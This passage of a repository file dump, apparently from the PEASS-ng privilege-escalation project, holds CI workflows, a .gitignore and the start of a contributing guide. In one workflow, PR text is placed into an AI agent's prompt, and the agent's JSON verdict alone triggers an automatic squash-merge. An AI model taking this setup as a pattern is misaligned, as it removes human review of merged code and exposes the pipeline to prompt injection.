steps.gate.outputs.pr_body }}\n\n            Review ONLY the changes introduced by the PR:\n              git log --oneline ${{ steps.gate.outputs.base_sha }}...${{ steps.gate.outputs.head_sha }}\n\n            Output JSON only, following the provided schema:\n            .github/chack-agent/pr-merge-schema.json\n          codex_access_token: ${{ secrets.CODEX_ACCESS_TOKEN }}\n          openai_api_key: ${{ secrets.OPENAI_API_KEY }}\n\n      - name: Parse Chack Agent decision\n        id: parse\n        if: ${{ steps.gate.outputs.should_run == 'true' }}\n        env:\n          CHACK_MESSAGE: ${{ steps.run_chack.outputs.final-message }}\n        run: |\n          python3 - <<'PY'\n          import json\n          import os\n\n          raw = (os.environ.get('CHACK_MESSAGE', '') or '').strip()\n          decision = 'comment'\n          message = 'Chack Agent did not provide details.'\n          try:\n            data = json.loads(raw or '{}')\n            if isinstance(data, dict):\n              decision = data.get('decision', 'comment')\n              message = data.get('message', '').strip() or message\n            else:\n              message = raw or message\n          except Exception:\n            message = raw or message\n          with open(os.environ['GITHUB_OUTPUT'], 'a') as handle:\n            handle.write(f\"decision={decision}\\n\")\n            handle.write(\"message<<EOF\\n\")\n            handle.write(message + \"\\n\")\n            handle.write(\"EOF\\n\")\n          PY\n\n  merge_or_comment:\n    runs-on: ubuntu-latest\n    needs: chack_agent_triage\n    if: ${{ github.event.workflow_run.conclusion == 'success' && needs.chack_agent_triage.outputs.should_run == 'true' && needs.chack_agent_triage.outputs.decision != '' }}\n    permissions:\n      contents: write\n      pull-requests: write\n    steps:\n      - name: Merge PR when approved\n        if: ${{ needs.chack_agent_triage.outputs.decision == 'merge' }}\n        env:\n          GH_TOKEN: ${{ github.token }}\n          PR_NUMBER: ${{ needs.chack_agent_triage.outputs.pr_number }}\n        run: |\n          gh api \\\n            -X PUT \\\n            -H \"Accept: application/vnd.github+json\" \\\n            /repos/${{ github.repository }}/pulls/${PR_NUMBER}/merge \\\n            -f merge_method=squash \\\n            -f commit_title=\"Auto-merge PR #${PR_NUMBER} (Chack Agent)\"\n\n      - name: Comment with doubts\n        if: ${{ needs.chack_agent_triage.outputs.decision == 'comment' }}\n        uses: actions/github-script@v7\n        env:\n          PR_NUMBER: ${{ needs.chack_agent_triage.outputs.pr_number }}\n          CHACK_MESSAGE: ${{ needs.chack_agent_triage.outputs.message }}\n        with:\n          github-token: ${{ github.token }}\n          script: |\n            await github.rest.issues.createComment({\n              owner: context.repo.owner,\n              repo: context.repo.repo,\n              issue_number: Number(process.env.PR_NUMBER),\n              body: process.env.CHACK_MESSAGE,\n            });\n"
  },
  {
    "path": ".github/workflows/ci-master-failure-chack-agent-pr.yml",
    "content": "name: CI-master Failure Chack-Agent PR\n\non:\n  workflow_run:\n    workflows: [\"CI-master_test\"]\n    types: [completed]\n\njobs:\n  chack_agent_fix_master_failure:\n    if: >\n      ${{ github.event.workflow_run.conclusion == 'failure' &&\n          github.event.workflow_run.head_branch == 'master' &&\n          !startsWith(github.event.workflow_run.head_commit.message, 'Fix CI-master failures for run #') }}\n    runs-on: ubuntu-latest\n    permissions:\n      contents: write\n      pull-requests: write\n      issues: write\n      actions: read\n    env:\n      TARGET_BRANCH: master\n      FIX_BRANCH: chack-agent/ci-master-fix-${{ github.event.workflow_run.id }}\n      CHACK_LOGS_HTTP_URL: ${{ secrets.CHACK_LOGS_HTTP_URL }}\n      CAN_PUSH_WORKFLOWS: ${{ secrets.CHACK_AGENT_FIXER_TOKEN != '' }}\n    steps:\n      - name: Checkout failing commit\n        uses: actions/checkout@v5\n        with:\n          ref: ${{ github.event.workflow_run.head_sha }}\n          fetch-depth: 0\n          persist-credentials: true\n          token: ${{ secrets.CHACK_AGENT_FIXER_TOKEN || github.token }}\n\n      - name: Configure git author\n        run: |\n          git config user.name \"chack-agent\"\n          git config user.email \"chack-agent@users.noreply.github.com\"\n\n      - name: Create fix branch\n        run: git checkout -b \"$FIX_BRANCH\"\n\n      - name: Fetch failure summary and failed-step logs\n        env:\n          GH_TOKEN: ${{ github.token }}\n          RUN_ID: ${{ github.event.workflow_run.id }}\n        run: |\n          failed_logs_file=\"$(pwd)/chack_failed_steps_logs.txt\"\n          if gh run view \"$RUN_ID\" --repo \"${{ github.repository }}\" --log-failed > \"$failed_logs_file\"; then\n            if [ ! -s \"$failed_logs_file\" ]; then\n              echo \"No failed step logs were returned by gh run view --log-failed.\" > \"$failed_logs_file\"\n            fi\n          else\n            echo \"Failed to download failed step logs with gh run view --log-failed.\" > \"$failed_logs_file\"\n          fi\n          echo \"FAILED_LOGS_PATH=$failed_logs_file\" >> \"$GITHUB_ENV\"\n\n          gh api -H \"Accept: application/vnd.github+json\" \\\n            /repos/${{ github.repository }}/actions/runs/$RUN_ID/jobs \\\n            --paginate > /tmp/jobs.json\n          python3 - <<'PY'\n          import json\n          import re\n          import subprocess\n\n          data = json.load(open('/tmp/jobs.json'))\n          lines = []\n          failure_evidence = []\n          failure_jobs = []\n          for job in data.get('jobs', []):\n            if job.get('conclusion') == 'failure':\n              job_id = job.get('id')\n              lines.append(f\"Job: {job.get('name')} (id {job.get('id')})\")\n              lines.append(f\"URL: {job.get('html_url')}\")\n              for step in job.get('steps', []):\n                if step.get('conclusion') == 'failure':\n                  lines.append(f\"  Step: {step.get('name')}\")\n              lines.append(\"\")\n              failure_jobs.append((job_id, job.get('name')))\n\n          error_pattern = re.compile(r'error\\s+[A-Z]+[0-9]+|: error |Build FAILED\\.|##\\[error\\]', re.IGNORECASE)\n          for job_id, job_name in failure_jobs:\n            try:\n              raw_log = subprocess.check_output(\n                [\"gh\", \"api\", f\"/repos/${{ github.repository }}/actions/jobs/{job_id}/logs\"],\n                text=True,\n                encoding=\"utf-8\",\n                errors=\"replace\",\n              )\n            except subprocess.CalledProcessError as exc:\n              failure_evidence.append(f\"Job {job_name} ({job_id}): failed to download raw logs: {exc}\")\n              continue\n\n            matches = []\n            for raw_line in raw_log.splitlines():\n              if error_pattern.search(raw_line):\n                line = re.sub(r\"^\\ufeff?\", \"\", raw_line).strip()\n                matches.append(line)\n\n            failure_evidence.append(f\"Job {job_name} ({job_id})\")\n            if matches:\n              failure_evidence.extend(matches[:40])\n            else:\n              failure_evidence.append(\"No compiler/runtime error lines extracted from raw job logs.\")\n            failure_evidence.append(\"\")\n\n          summary = \"\\n\".join(lines).strip() or \"No failing job details found.\"\n          with open('chack_failure_summary.txt', 'w') as handle:\n            handle.write(summary)\n\n          evidence = \"\\n\".join(failure_evidence).strip() or \"No raw failure evidence extracted.\"\n          with open('chack_failure_evidence.txt', 'w') as handle:\n            handle.write(evidence)\n          PY\n\n      - name: Create Chack Agent prompt\n        env:\n          RUN_URL: ${{ github.event.workflow_run.html_url }}\n          HEAD_SHA: ${{ github.event.workflow_run.head_sha }}\n        run: |\n          {\n            echo \"You are fixing a failing CI-master_test run in ${{ github.repository }}.\"\n            echo \"The failing workflow run is: ${RUN_URL}\"\n            echo \"The failing commit SHA is: ${HEAD_SHA}\"\n            echo \"The target branch for the final PR is: ${TARGET_BRANCH}\"\n            echo \"\"\n            echo \"Failure summary:\"\n            cat chack_failure_summary.txt\n            echo \"\"\n            echo \"Extracted raw failure evidence:\"\n            cat chack_failure_evidence.txt\n            echo \"\"\n            echo \"Failed-step logs file absolute path (local runner): ${FAILED_LOGS_PATH}\"\n            echo \"Read that file to inspect the exact failing logs.\"\n            echo \"\"\n            echo \"Please identify the cause, apply an easy, simple and minimal fix, and update files accordingly.\"\n            echo \"Priority rule: if extracted failure evidence references repository source files or project files, fix those first.\"\n            echo \"Only edit workflow files when the evidence points to the workflow itself (checkout/setup/permissions/event wiring) or when no repository file is implicated.\"\n            echo \"Do not guess from truncated logs when exact compiler/runtime error lines are available.\"\n            echo \"Workflow-file edits are allowed when required to fix the failing run.\"\n            echo \"Do not edit or create any .md or .txt files or any summary file and do not modify build_lists/regexes.yaml. Don't create job or summary files of you actions.\"\n            echo \"Run any fast checks you can locally (no network).\"\n            echo \"Leave the repo in a state ready to commit; changes will be committed and pushed automatically.\"\n          } > chack_prompt.txt\n\n      - name: Set up Node.js for Codex\n        uses: actions/setup-node@v5\n        with:\n          node-version: \"20\"\n\n      - name: Install Codex CLI\n        run: |\n          npm install -g @openai/codex\n          codex --version\n\n      - name: Run Chack Agent\n        id: run_chack\n        uses: carlospolop/chack-agent@master\n        with:\n          provider: codex\n          model_primary: BEST_QUALITY\n          max_turns: 125\n          main_action: peass-ng-master-failure\n          sub_action: CI-master Failure Chack-Agent PR\n          system_prompt: |\n            Diagnose the failing gh actions workflow, propose the minimal and effective safe fix, and implement it.\n            When the provided failure evidence names repository files, treat that as the primary root-cause signal and fix those files before considering workflow edits.\n            Do not make speculative workflow changes when compiler/runtime error lines point to source or project files.\n            Workflow-file edits are allowed when needed to fix the failure.\n            Never edit any .md or .txt files.\n            Never create or modify build_lists/regexes.yaml.\n            Run only fast, local checks (no network). Leave the repo ready to commit.\n          prompt_file: chack_prompt.txt\n          tools_config_json: \"{\\\"exec_enabled\\\": true}\"\n          session_config_json: \"{\\\"long_term_memory_enabled\\\": false}\"\n          agent_config_json: \"{\\\"self_critique_enabled\\\": false, \\\"require_task_steps_manager_init_first\\\": true}\"\n          codex_access_token: ${{ secrets.CODEX_ACCESS_TOKEN }}\n          openai_api_key: ${{ secrets.OPENAI_API_KEY }}\n\n      - name: Commit and push fix branch if changed\n        id: push_fix\n        env:\n          ORIGINAL_HEAD_SHA: ${{ github.event.workflow_run.head_sha }}\n        run: |\n          rm -f chack_failure_summary.txt chack_failure_evidence.txt chack_prompt.txt chack_failed_steps_logs.txt\n\n          pushed=false\n\n          if ! git diff --quiet; then\n            git add -A\n            if [ \"$CAN_PUSH_WORKFLOWS\" != \"true\" ]; then\n              # Avoid workflow-file pushes with token scopes that cannot write workflows.\n              git reset -- .github/workflows || true\n              git checkout -- .github/workflows || true\n              git clean -fdx -- .github/workflows || true\n            fi\n            git reset -- chack_failure_summary.txt chack_failure_evidence.txt chack_prompt.txt chack_failed_steps_logs.txt\n            # Never include generated regex list updates in automated fixer commits.\n            git reset -- build_lists/regexes.yaml || true\n            # Never allow the agent to commit generated linpeas artifacts.\n            git reset -- linpeas.sh linpeas_fat.sh || true\n            while IFS= read -r forbidden_file; do\n              git reset -- \"$forbidden_file\" || true\n            done < <(git diff --name-only --cached | grep -E '(^|/)(linpeas\\.sh|linpeas_fat\\.sh)$' || true)\n            while IFS= read -r file; do\n              case \"$file\" in\n                *.txt|*.md)\n                  git reset -- \"$file\"\n                  ;;\n              esac\n            done < <(git diff --name-only --cached)\n            if [ \"$CAN_PUSH_WORKFLOWS\" != \"true\" ] && git diff --cached --name-only | grep -q '^.github/workflows/'; then\n              echo \"Workflow-file changes are still staged; skipping push without workflows permission.\"\n              echo \"pushed=false\" >> \"$GITHUB_OUTPUT\"\n              exit 0\n            fi\n            if git diff --cached --name-only | grep -Eq '(^|/)(linpeas\\.sh|linpeas_fat\\.sh)$'; then\n              echo \"Forbidden generated linpeas files are still staged; skipping push.\"\n              echo \"pushed=false\" >> \"$GITHUB_OUTPUT\"\n              exit 0\n            fi\n            if ! git diff --cached --quiet; then\n              git commit -m \"Fix CI-master failures for run #${{ github.event.workflow_run.id }}\"\n            fi\n          fi\n\n          after_head=\"$(git rev-parse HEAD)\"\n          if [ \"$after_head\" = \"$ORIGINAL_HEAD_SHA\" ]; then\n            echo \"No commit produced by Chack Agent.\"\n            echo \"pushed=false\" >> \"$GITHUB_OUTPUT\"\n            exit 0\n          fi\n\n          if [ \"$CAN_PUSH_WORKFLOWS\" = \"true\" ]; then\n            echo \"Sanitizing Chack commit range, preserving workflow fixes.\"\n            git diff --binary \"$ORIGINAL_HEAD_SHA\"..HEAD -- \\\n              . \\\n              ':(exclude)chack_failure_summary.txt' \\\n              ':(exclude)chack_failure_evidence.txt' \\\n              ':(exclude)chack_prompt.txt' \\\n              ':(exclude)chack_failed_steps_logs.txt' \\\n              ':(exclude)build_lists/regexes.yaml' \\\n              ':(exclude)*.md' \\\n              ':(exclude)*.txt' \\\n              ':(exclude)**/*.txt' \\\n              ':(exclude)**/*.md' > /tmp/chack_sanitized.patch\n          else\n            echo \"Sanitizing Chack commit range to non-workflow changes only.\"\n            git diff --binary \"$ORIGINAL_HEAD_SHA\"..HEAD -- \\\n              . \\\n              ':(exclude).github/workflows/**' \\\n              ':(exclude)chack_failure_summary.txt' \\\n              ':(exclude)chack_failure_evidence.txt' \\\n              ':(exclude)chack_prompt.txt' \\\n              ':(exclude)chack_failed_steps_logs.txt' \\\n              ':(exclude)build_lists/regexes.yaml' \\\n              ':(exclude)*.md' \\\n              ':(exclude)*.txt' \\\n              ':(exclude)**/*.txt' \\\n              ':(exclude)**/*.md' > /tmp/chack_sanitized.patch\n            if [ ! -s /tmp/chack_sanitized.patch ]; then\n              echo \"Only workflow-file changes were produced; skipping push.\"\n              echo \"pushed=false\" >> \"$GITHUB_OUTPUT\"\n              exit 0\n            fi\n          fi\n          git reset --hard \"$ORIGINAL_HEAD_SHA\"\n          git apply --index /tmp/chack_sanitized.patch\n          rm -f chack_failure_summary.txt chack_failure_evidence.txt chack_prompt.txt chack_failed_steps_logs.txt\n          git reset -- chack_failure_summary.txt chack_failure_evidence.txt chack_prompt.txt chack_failed_steps_logs.txt || true\n          git reset -- linpeas.sh linpeas_fat.sh || true\n          while IFS= read -r forbidden_file; do\n            git reset -- \"$forbidden_file\" || true\n          done < <(git diff --name-only --cached | grep -E '(^|/)(linpeas\\.sh|linpeas_fat\\.sh)$' || true)\n          if git diff --cached --name-only | grep -Eq '(^|/)(linpeas\\.sh|linpeas_fat\\.sh)$'; then\n            echo \"Forbidden generated linpeas files remain after sanitizing; skipping push.\"\n            echo \"pushed=false\" >> \"$GITHUB_OUTPUT\"\n            exit 0\n          fi\n          if git diff --cached --quiet; then\n            echo \"No sanitized changes left after filtering.\"\n            echo \"pushed=false\" >> \"$GITHUB_OUTPUT\"\n            exit 0\n          fi\n          git commit -m \"Fix CI-master failures for run #${{ github.event.workflow_run.id }}\"\n\n          if ! git push origin HEAD:\"$FIX_BRANCH\"; then\n            echo \"Push failed (likely token workflow permission limits); skipping PR creation.\"\n            echo \"pushed=false\" >> \"$GITHUB_OUTPUT\"\n            exit 0\n          fi\n          pushed=true\n\n          if [ \"$pushed\" = \"true\" ]; then\n            echo \"pushed=true\" >> \"$GITHUB_OUTPUT\"\n          else\n            echo \"pushed=false\" >> \"$GITHUB_OUTPUT\"\n          fi\n\n      - name: Create PR to master\n        if: ${{ steps.push_fix.outputs.pushed == 'true' }}\n        id: create_pr\n        env:\n          GH_TOKEN: ${{ secrets.CHACK_AGENT_FIXER_TOKEN || github.token }}\n          RUN_URL: ${{ github.event.workflow_run.html_url }}\n        run: |\n          set +e\n          pr_output=$(gh pr create \\\n            --title \"Fix CI-master_test failure (run #${{ github.event.workflow_run.id }})\" \\\n            --body \"Automated Chack Agent fix for failing CI-master_test run: ${RUN_URL}\" \\\n            --base \"$TARGET_BRANCH\" \\\n            --head \"$FIX_BRANCH\" 2>&1)\n          rc=$?\n          set -e\n\n          if [ $rc -eq 0 ]; then\n            echo \"url=$pr_output\" >> \"$GITHUB_OUTPUT\"\n            echo \"created=true\" >> \"$GITHUB_OUTPUT\"\n            exit 0\n          fi\n\n          echo \"$pr_output\"\n          if echo \"$pr_output\" | grep -qi \"not permitted to create or approve pull requests\"; then\n            echo \"PR creation blocked by repository Actions policy. Fix branch was pushed: $FIX_BRANCH\"\n            echo \"url=\" >> \"$GITHUB_OUTPUT\"\n            echo \"created=false\" >> \"$GITHUB_OUTPUT\"\n            exit 0\n          fi\n\n          echo \"Unexpected PR creation error.\"\n          exit $rc\n\n      - name: Comment on created PR with Chack Agent result\n        if: ${{ steps.push_fix.outputs.pushed == 'true' && steps.create_pr.outputs.created == 'true' && steps.run_chack.outputs.final-message != '' }}\n        uses: actions/github-script@v7\n        env:\n          PR_URL: ${{ steps.create_pr.outputs.url }}\n          CHACK_MESSAGE: ${{ steps.run_chack.outputs.final-message }}\n        with:\n          github-token: ${{ github.token }}\n          script: |\n            const prUrl = process.env.PR_URL;\n            const match = prUrl.match(/\\/pull\\/(\\d+)$/);\n            if (!match) {\n              core.info(`Could not parse PR number from URL: ${prUrl}`);\n              return;\n            }\n            await github.rest.issues.createComment({\n              owner: context.repo.owner,\n              repo: context.repo.repo,\n              issue_number: Number(match[1]),\n              body: process.env.CHACK_MESSAGE,\n            });\n"
  },
  {
    "path": ".github/workflows/pr-failure-chack-agent-dispatch.yml",
    "content": "name: PR Failure Chack-Agent Dispatch\n\non:\n  workflow_run:\n    workflows: [\"PR-tests\"]\n    types: [completed]\n\njobs:\n  resolve_pr_context:\n    if: >\n      ${{ github.event.workflow_run.conclusion == 'failure' &&\n          !startsWith(github.event.workflow_run.head_commit.message || '', 'Fix CI failures for PR #') }}\n    runs-on: ubuntu-latest\n    permissions:\n      pull-requests: read\n      issues: read\n    outputs:\n      number: ${{ steps.pr_context.outputs.number }}\n      author: ${{ steps.pr_context.outputs.author }}\n      head_repo: ${{ steps.pr_context.outputs.head_repo }}\n      head_branch: ${{ steps.pr_context.outputs.head_branch }}\n      should_run: ${{ steps.pr_context.outputs.should_run }}\n    steps:\n      - name: Resolve PR context\n        id: pr_context\n        env:\n          PR_NUMBER: ${{ github.event.workflow_run.pull_requests[0].number }}\n          HEAD_BRANCH: ${{ github.event.workflow_run.head_branch }}\n          GH_TOKEN: ${{ github.token }}\n        run: |\n          if [ -z \"$PR_NUMBER\" ] && [ -n \"$HEAD_BRANCH\" ]; then\n            PR_NUMBER=\"$(gh pr list --state open --head \"$HEAD_BRANCH\" --json number --jq '.[0].number')\"\n          fi\n          if [ -z \"$PR_NUMBER\" ]; then\n            echo \"No pull request found for workflow_run; skipping.\"\n            {\n              echo \"number=\"\n              echo \"author=\"\n              echo \"head_repo=\"\n              echo \"head_branch=${HEAD_BRANCH}\"\n              echo \"should_run=false\"\n            } >> \"$GITHUB_OUTPUT\"\n            exit 0\n          fi\n          pr_author=$(gh api -H \"Accept: application/vnd.github+json\" \\\n            /repos/${{ github.repository }}/pulls/${PR_NUMBER} \\\n            --jq '.user.login')\n          pr_head_repo=$(gh api -H \"Accept: application/vnd.github+json\" \\\n            /repos/${{ github.repository }}/pulls/${PR_NUMBER} \\\n            --jq '.head.repo.full_name')\n          pr_head_branch=$(gh api -H \"Accept: application/vnd.github+json\" \\\n            /repos/${{ github.repository }}/pulls/${PR_NUMBER} \\\n            --jq '.head.ref')\n          pr_labels=$(gh api -H \"Accept: application/vnd.github+json\" \\\n            /repos/${{ github.repository }}/issues/${PR_NUMBER} \\\n            --jq '.labels[].name')\n          if echo \"$pr_labels\" | grep -q \"^chack-agent-fix-attempted$\"; then\n            echo \"chack-agent fix already attempted for PR #${PR_NUMBER}; skipping.\"\n            should_run=false\n          else\n            should_run=true\n          fi\n          {\n            echo \"number=${PR_NUMBER}\"\n            echo \"author=${pr_author}\"\n            echo \"head_repo=${pr_head_repo}\"\n            echo \"head_branch=${pr_head_branch}\"\n            echo \"should_run=${should_run}\"\n          } >> \"$GITHUB_OUTPUT\"\n\n  chack_agent_on_failure:\n    needs: resolve_pr_context\n    if: ${{ needs.resolve_pr_context.outputs.author == 'carlospolop' && needs.resolve_pr_context.outputs.should_run == 'true' }}\n    runs-on: ubuntu-latest\n    permissions:\n      contents: write\n      pull-requests: write\n      issues: write\n      actions: write\n    env:\n      CHACK_LOGS_HTTP_URL: ${{ secrets.CHACK_LOGS_HTTP_URL }}\n    steps:\n      - name: Comment on PR with failure info\n        uses: actions/github-script@v7\n        env:\n          PR_NUMBER: ${{ needs.resolve_pr_context.outputs.number }}\n          RUN_URL: ${{ github.event.workflow_run.html_url }}\n          WORKFLOW_NAME: ${{ github.event.workflow_run.name }}\n        with:\n          github-token: ${{ github.token }}\n          script: |\n            const prNumber = Number(process.env.PR_NUMBER);\n            const body = `PR #${prNumber} had a failing workflow \"${process.env.WORKFLOW_NAME}\".\\n\\nRun: ${process.env.RUN_URL}\\n\\nLaunching Chack Agent to attempt a fix.`;\n            await github.rest.issues.createComment({\n              owner: context.repo.owner,\n              repo: context.repo.repo,\n              issue_number: prNumber,\n              body,\n            });\n\n      - name: Mark fix attempt\n        env:\n          PR_NUMBER: ${{ needs.resolve_pr_context.outputs.number }}\n          GH_TOKEN: ${{ github.token }}\n        run: |\n          gh api -X POST -H \"Accept: application/vnd.github+json\" \\\n            /repos/${{ github.repository }}/issues/${PR_NUMBER}/labels \\\n            -f labels[]=chack-agent-fix-attempted\n\n      - name: Checkout PR head\n        uses: actions/checkout@v5\n        with:\n          repository: ${{ needs.resolve_pr_context.outputs.head_repo }}\n          ref: ${{ github.event.workflow_run.head_sha }}\n          fetch-depth: 0\n          persist-credentials: true\n          token: ${{ secrets.CHACK_AGENT_FIXER_TOKEN || github.token }}\n\n      - name: Configure git author\n        run: |\n          git config user.name \"chack-agent\"\n          git config user.email \"chack-agent@users.noreply.github.com\"\n\n      - name: Fetch failure summary\n        env:\n          GH_TOKEN: ${{ github.token }}\n          RUN_ID: ${{ github.event.workflow_run.id }}\n        run: |\n          gh api -H \"Accept: application/vnd.github+json\" \\\n            /repos/${{ github.repository }}/actions/runs/$RUN_ID/jobs \\\n            --paginate > /tmp/jobs.json\n          python3 - <<'PY'\n          import json\n\n          data = json.load(open('/tmp/jobs.json'))\n          lines = []\n          for job in data.get('jobs', []):\n            if job.get('conclusion') == 'failure':\n              lines.append(f\"Job: {job.get('name')} (id {job.get('id')})\")\n              lines.append(f\"URL: {job.get('html_url')}\")\n              for step in job.get('steps', []):\n                if step.get('conclusion') == 'failure':\n                  lines.append(f\"  Step: {step.get('name')}\")\n              lines.append(\"\")\n\n          summary = \"\\n\".join(lines).strip() or \"No failing job details found.\"\n          with open('chack_failure_summary.txt', 'w') as handle:\n            handle.write(summary)\n          PY\n\n      - name: Create Chack Agent prompt\n        env:\n          PR_NUMBER: ${{ needs.resolve_pr_context.outputs.number }}\n          RUN_URL: ${{ github.event.workflow_run.html_url }}\n          HEAD_BRANCH: ${{ needs.resolve_pr_context.outputs.head_branch }}\n        run: |\n          {\n            echo \"You are fixing CI failures for PR #${PR_NUMBER} in ${{ github.repository }}.\"\n            echo \"The failing workflow run is: ${RUN_URL}\"\n            echo \"The PR branch is: ${HEAD_BRANCH}\"\n            echo \"\"\n            echo \"Failure summary:\"\n            cat chack_failure_summary.txt\n            echo \"\"\n            echo \"Please identify the cause, apply a easy, simple and minimal fix, and update files accordingly.\"\n            echo \"Do not edit or create any .md or .txt files and do not modify build_lists/regexes.yaml.\"\n            echo \"Run any fast checks you can locally (no network).\"\n            echo \"Leave the repo in a state ready to commit as when you finish, it'll be automatically committed and pushed.\"\n          } > chack_prompt.txt\n\n      - name: Set up Node.js for Codex\n        uses: actions/setup-node@v5\n        with:\n          node-version: \"20\"\n\n      - name: Install Codex CLI\n        run: |\n          npm install -g @openai/codex\n          codex --version\n\n      - name: Run Chack Agent\n        id: run_chack\n        uses: carlospolop/chack-agent@master\n        with:\n          provider: codex\n          model_primary: BEST_QUALITY\n          main_action: peass-ng-pr-failure\n          max_turns: 125\n          sub_action: PR Failure Chack-Agent Dispatch\n          system_prompt: |\n            You are Chack Agent, an elite CI-fix engineer.\n            Diagnose the failing workflow, propose the minimal safe fix, and implement it.\n            Never edit any .md or .txt files. Don't create job or summary files of you actions.\n            Never create or modify build_lists/regexes.yaml.\n            Run only fast, local checks (no network). Leave the repo ready to commit.\n          prompt_file: chack_prompt.txt\n          tools_config_json: \"{\\\"exec_enabled\\\": true}\"\n          session_config_json: \"{\\\"long_term_memory_enabled\\\": false}\"\n          agent_config_json: \"{\\\"self_critique_enabled\\\": false, \\\"require_task_steps_manager_init_first\\\": true}\"\n          codex_access_token: ${{ secrets.CODEX_ACCESS_TOKEN }}\n          openai_api_key: ${{ secrets.OPENAI_API_KEY }}\n\n      - name: Commit and push if changed\n        env:\n          TARGET_BRANCH: ${{ needs.resolve_pr_context.outputs.head_branch }}\n          PR_NUMBER: ${{ needs.resolve_pr_context.outputs.number }}\n          ORIGINAL_HEAD_SHA: ${{ github.event.workflow_run.head_sha }}\n          GH_TOKEN: ${{ github.token }}\n        run: |\n          rm -f chack_failure_summary.txt chack_prompt.txt\n\n          pushed=false\n\n          if ! git diff --quiet; then\n            git add -A\n            # Keep all fixer changes, including .github/workflows, and rely on permissioned tokens to push safely.\n            # Only temporary tool artifacts are filtered out.\n            git reset -- chack_failure_summary.txt chack_prompt.txt\n            # Never commit generated or regenerated regex list files from this workflow.\n            git reset -- build_lists/regexes.yaml || true\n            # Never allow the agent to commit generated linpeas artifacts.\n            git reset -- linpeas.sh linpeas_fat.sh || true\n            while IFS= read -r forbidden_file; do\n              git reset -- \"$forbidden_file\" || true\n            done < <(git diff --name-only --cached | grep -E '(^|/)(linpeas\\.sh|linpeas_fat\\.sh)$' || true)\n            while IFS= read -r file; do\n              case \"$file\" in\n                *.txt|*.md)\n                  git reset -- \"$file\"\n                  ;;\n              esac\n            done < <(git diff --name-only --cached)\n            if git diff --cached --name-only | grep -Eq '(^|/)(linpeas\\.sh|linpeas_fat\\.sh)$'; then\n              echo \"Forbidden generated linpeas files are still staged; skipping push.\"\n              echo \"pushed=false\" >> \"$GITHUB_OUTPUT\"\n              exit 0\n            fi\n            if ! git diff --cached --quiet; then\n              git commit -m \"Fix CI failures for PR #${PR_NUMBER}\"\n            fi\n          fi\n\n          after_head=\"$(git rev-parse HEAD)\"\n          if [ \"$after_head\" = \"$ORIGINAL_HEAD_SHA\" ]; then\n            echo \"No commit produced by Chack Agent for PR #${PR_NUMBER}.\"\n            echo \"pushed=false\" >> \"$GITHUB_OUTPUT\"\n            exit 0\n          fi\n\n          if ! git push origin HEAD:${TARGET_BRANCH}; then\n            echo \"Push failed (likely token workflow permission limits); leaving run successful without push.\"\n            echo \"pushed=false\" >> \"$GITHUB_OUTPUT\"\n            exit 0\n          fi\n          pushed=true\n\n          if [ \"$pushed\" = \"true\" ]; then\n            gh workflow run PR-tests.yml --ref \"${TARGET_BRANCH}\"\n          fi\n\n      - name: Comment with Chack Agent result\n        if: ${{ steps.run_chack.outputs.final-message != '' }}\n        uses: actions/github-script@v7\n        env:\n          PR_NUMBER: ${{ needs.resolve_pr_context.outputs.number }}\n          CHACK_MESSAGE: ${{ steps.run_chack.outputs.final-message }}\n        with:\n          github-token: ${{ github.token }}\n          script: |\n            await github.rest.issues.createComment({\n              owner: context.repo.owner,\n              repo: context.repo.repo,\n              issue_number: Number(process.env.PR_NUMBER),\n              body: process.env.CHACK_MESSAGE,\n            });\n"
  },
  {
    "path": ".github/workflows/update_windows_version_definitions.yml",
    "content": "name: Update Windows Version Definitions\n\non:\n  schedule:\n    - cron: \"17 4 */14 * *\"\n  workflow_dispatch:\n\npermissions:\n  contents: write\n  pull-requests: write\n\njobs:\n  update-definitions:\n    runs-on: ubuntu-latest\n\n    steps:\n      - name: Checkout\n        uses: actions/checkout@v5\n\n      - name: Setup Python\n        uses: actions/setup-python@v6\n        with:\n          python-version: \"3.x\"\n\n      - name: Install Python dependencies\n        run: python3 -m pip install --disable-pip-version-check openpyxl\n\n      - name: Update windows version definitions\n        run: python3 build_lists/update_windows_version_defs.py\n\n      - name: Create pull request\n        id: create_pr\n        continue-on-error: true\n        uses: peter-evans/create-pull-request@v7\n        with:\n          commit-message: \"chore(winpeas): update windows version vulnerability definitions\"\n          title: \"chore(winpeas): update windows version vulnerability definitions\"\n          body: \"Automated update of `build_lists/windows_version_exploits.json`.\"\n          branch: \"bot/update-windows-version-definitions\"\n          delete-branch: true\n\n      - name: Warn when PR creation is blocked by repo policy\n        if: steps.create_pr.outcome == 'failure'\n        run: |\n          echo \"::warning::Branch update was pushed, but automatic PR creation failed. If logs show 'GitHub Actions is not permitted to create or approve pull requests', enable that repository setting or use a PAT token for PR creation.\"\n"
  },
  {
    "path": ".gitignore",
    "content": ".vs/*\n.vscode/*\nwinPEAS/winPEASexe/.vs/*\nv16/*\nwinPEAS/winPEASexe/.vs/winPEAS/v16/*\nwinPEAS/winPEASexe/binaries/**/*.exe\nDebug/*\nwinPEAS/winPEASexe/winPEAS/bin/Debug/*\n.DS_Store\n./.DS_Store\n./*/.DS_Store\n./*/.tmp1\n.tmp1\nobj\nbin\npackages\n*cpython*\n*/*cpython*\nlaunch.json\n*.pyc\n**/*.pyc\n__pycache__\n*/__pycache__\n**/__pycache__\nlinPEAS/builder/__pycache__/*\nlinPEAS/builder/src/__pycache__/*\nlinPEAS/linpeas.sh\nlinPEAS/builder/linpeas_base_tmp.sh\nbuild_lists/regexes.yaml\nsh2bin\nsh2bin/*\nwinPEAS/winPEASexe/Directory.Build.targets\n.dccache\n./*/.dccache\nregexes.yaml\n.github/instructions/\n.github/workflows/build-artifacts.yml\nbuild_lists/regexes.yaml"
  },
  {
    "path": "CONTRIBUTING.md",
    "content": "# Contributing to this repository\n\n## Making Suggestions \nIf you want to make a suggestion for linpeas or winpeas please use **[github issues](https://github.com/peass-ng/PEASS-ng/issues)**\n\n## Do don't know how to help?\nCheck out the **[TODO](https://github.com/peass-ng/PEASS-ng/blob/master/TODO.md) page**\n\n## Searching for files with sensitive information\nFrom the PEASS-ng release **winpeas and linpeas are auto-built** and will search for files containing sensitive information specified in the **[sesitive_files.yaml](https://github.com/peass-ng/PEASS-ng/blob/master/build_lists/sensitive_files.yaml)** file.\n\nIf you want to **contribute adding the search of new files that can contain sensitive information**, please, just update **[sesitive_files.yaml](https://github.com/peass-ng/PEASS-ng/blob/master/build_lists/sensitive_files.yaml)** and create a **PR to master** (*linpeas and winpeas will be auto-built in this PR*). You can find examples of how to contribute to this file inside the file.\nAlso, in the comments of this PR, put links to pages where and example of the file containing sensitive 